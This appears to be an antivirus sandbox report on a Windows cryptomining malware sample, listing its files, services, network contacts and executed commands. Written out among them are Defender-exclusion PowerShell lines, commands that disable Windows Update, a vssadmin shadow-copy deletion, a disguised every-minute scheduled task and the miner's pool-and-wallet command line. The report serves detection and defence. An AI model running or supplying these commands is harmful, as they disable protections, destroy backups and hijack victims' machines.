Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\microsoftedgeupdatetaskmachineprimaryua
Sets the following service settings
- [HKLM\SYSTEM\CurrentControlSet\Services\WinRing0_1_2_0] 'ImagePath' = '%APPDATA%\Microsoft\MicrosoftWeb.{7007ACC7-3202-11D1-AAD2-00805FC1270E}\WinRing0x64.sys'
Creates the following services
- 'WinRing0_1_2_0' %APPDATA%\Microsoft\MicrosoftWeb.{7007ACC7-3202-11D1-AAD2-00805FC1270E}\WinRing0x64.sys
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Update
- Windows Defender
deletes volume shadow copies.
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\Users\'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '<SYSTEM32>\config\systemprofile\'
Modifies file system
Creates the following files
- %ALLUSERSPROFILE%\microsoft\wbem.{208d2c60-3aea-1069-a2d7-08002b30309d}\wmiprvse.exe
- nul
- %APPDATA%\microsoft\microsoftweb.{7007acc7-3202-11d1-aad2-00805fc1270e}\audiodg.exe
- %APPDATA%\microsoft\microsoftweb.{7007acc7-3202-11d1-aad2-00805fc1270e}\winring0x64.sys
Network activity
Connects to
- 'pa###bin.com':443
- 'po##.#upportxmr.com':443
TCP
HTTP GET requests
- http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?4a##############
Other
- 'pa###bin.com':443
- 'po##.#upportxmr.com':443
UDP
- DNS ASK pa###bin.com
- DNS ASK bm##i428.su
- DNS ASK po##.#upportxmr.com
Miscellaneous
Creates and executes the following
- '%ALLUSERSPROFILE%\microsoft\wbem.{208d2c60-3aea-1069-a2d7-08002b30309d}\wmiprvse.exe'
- '%APPDATA%\microsoft\microsoftweb.{7007acc7-3202-11d1-aad2-00805fc1270e}\audiodg.exe' -a rx/0 -o pool.supportxmr.com:443 -u 46CLFapUHxDWrz43X6sb8yTLX2KafjSkuSs99qbm3yVR7XjqVFeb3PBTNsvgbMtj7JL2oi3uYGtrvBdXDnHbydQgUMW8FPr.worker -p worker -b --no-color --verbose=0 --cpu-priority=5...
Executes the following
- '<SYSTEM32>\cmd.exe' /C net session
- '<SYSTEM32>\net.exe' session
- '<SYSTEM32>\net1.exe' session
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\sc.exe' stop UsoSvc
- '<SYSTEM32>\sc.exe' stop bits
- '<SYSTEM32>\sc.exe' stop dosvc
- '<SYSTEM32>\sc.exe' stop WaaSMedicSvc
- '<SYSTEM32>\sc.exe' config wuauserv start= disabled
- '<SYSTEM32>\sc.exe' config UsoSvc start= disabled
- '<SYSTEM32>\sc.exe' config bits start= disabled
- '<SYSTEM32>\sc.exe' config dosvc start= disabled
- '<SYSTEM32>\sc.exe' config WaaSMedicSvc start= disabled
- '<SYSTEM32>\cmd.exe' /C rmdir /S /Q "%SystemDrive%\\inetpub"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\'"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "(Get-MpPreference).ExclusionPath -contains '%ALLUSERSPROFILE%\'"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "(Get-MpPreference).ExclusionPath -contains '<SYSTEM32>\config\systemprofile\'"
- '<SYSTEM32>\cmd.exe' /c wusa /uninstall /kb:890830 /quiet /norestart
- '<SYSTEM32>\wusa.exe' /uninstall /kb:890830 /quiet /norestart
- '<SYSTEM32>\cmd.exe' /c powercfg /x -standby-timeout-ac 0
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
- '<SYSTEM32>\cmd.exe' /c powercfg /x -standby-timeout-dc 0
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
- '<SYSTEM32>\cmd.exe' /c powercfg /x -hibernate-timeout-ac 0
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
- '<SYSTEM32>\cmd.exe' /c powercfg /x -hibernate-timeout-dc 0
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
- '<SYSTEM32>\cmd.exe' /c powercfg /x -monitor-timeout-ac 0
- '<SYSTEM32>\powercfg.exe' /x -monitor-timeout-ac 0
- '<SYSTEM32>\cmd.exe' /c powercfg /x -monitor-timeout-dc 0
- '<SYSTEM32>\powercfg.exe' /x -monitor-timeout-dc 0
- '<SYSTEM32>\cmd.exe' /c powercfg /setactive 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c
- '<SYSTEM32>\powercfg.exe' /setactive 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c
- '<SYSTEM32>\cmd.exe' /c vssadmin delete shadows /all /quiet
- '<SYSTEM32>\schtasks.exe' /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachinePrimaryUA" /tr "%ALLUSERSPROFILE%\Microsoft\wbem.{208D2C60-3AEA-1069-A2D7-08002B30309D}\WmiPrvSE.exe" /rl highest /f
- '<SYSTEM32>\cmd.exe' /c timeout /t 5 /nobreak >nul & del "<Full path to file>"
- '<SYSTEM32>\timeout.exe' /t 5 /nobreak
- '<SYSTEM32>\cmd.exe' /c powercfg /x -standby-timeout-ac 0' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powercfg /x -standby-timeout-dc 0' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powercfg /x -hibernate-timeout-ac 0' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powercfg /x -hibernate-timeout-dc 0' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powercfg /x -monitor-timeout-ac 0' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powercfg /x -monitor-timeout-dc 0' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powercfg /setactive 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c vssadmin delete shadows /all /quiet' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /create /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachinePrimaryUA" /tr "%ALLUSERSPROFILE%\Microsoft\wbem.{208D2C60-3AEA-1069-A2D7-08002B30309D}\WmiPrvSE.exe" /rl highest /f' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c timeout /t 5 /nobreak >nul & del "<Full path to file>"' (with hidden window)
- '%APPDATA%\microsoft\microsoftweb.{7007acc7-3202-11d1-aad2-00805fc1270e}\audiodg.exe' -a rx/0 -o pool.supportxmr.com:443 -u 46CLFapUHxDWrz43X6sb8yTLX2KafjSkuSs99qbm3yVR7XjqVFeb3PBTNsvgbMtj7JL2oi3uYGtrvBdXDnHbydQgUMW8FPr.worker -p worker -b --no-color --verbose=0 --cpu-priority=5...' (with hidden window)
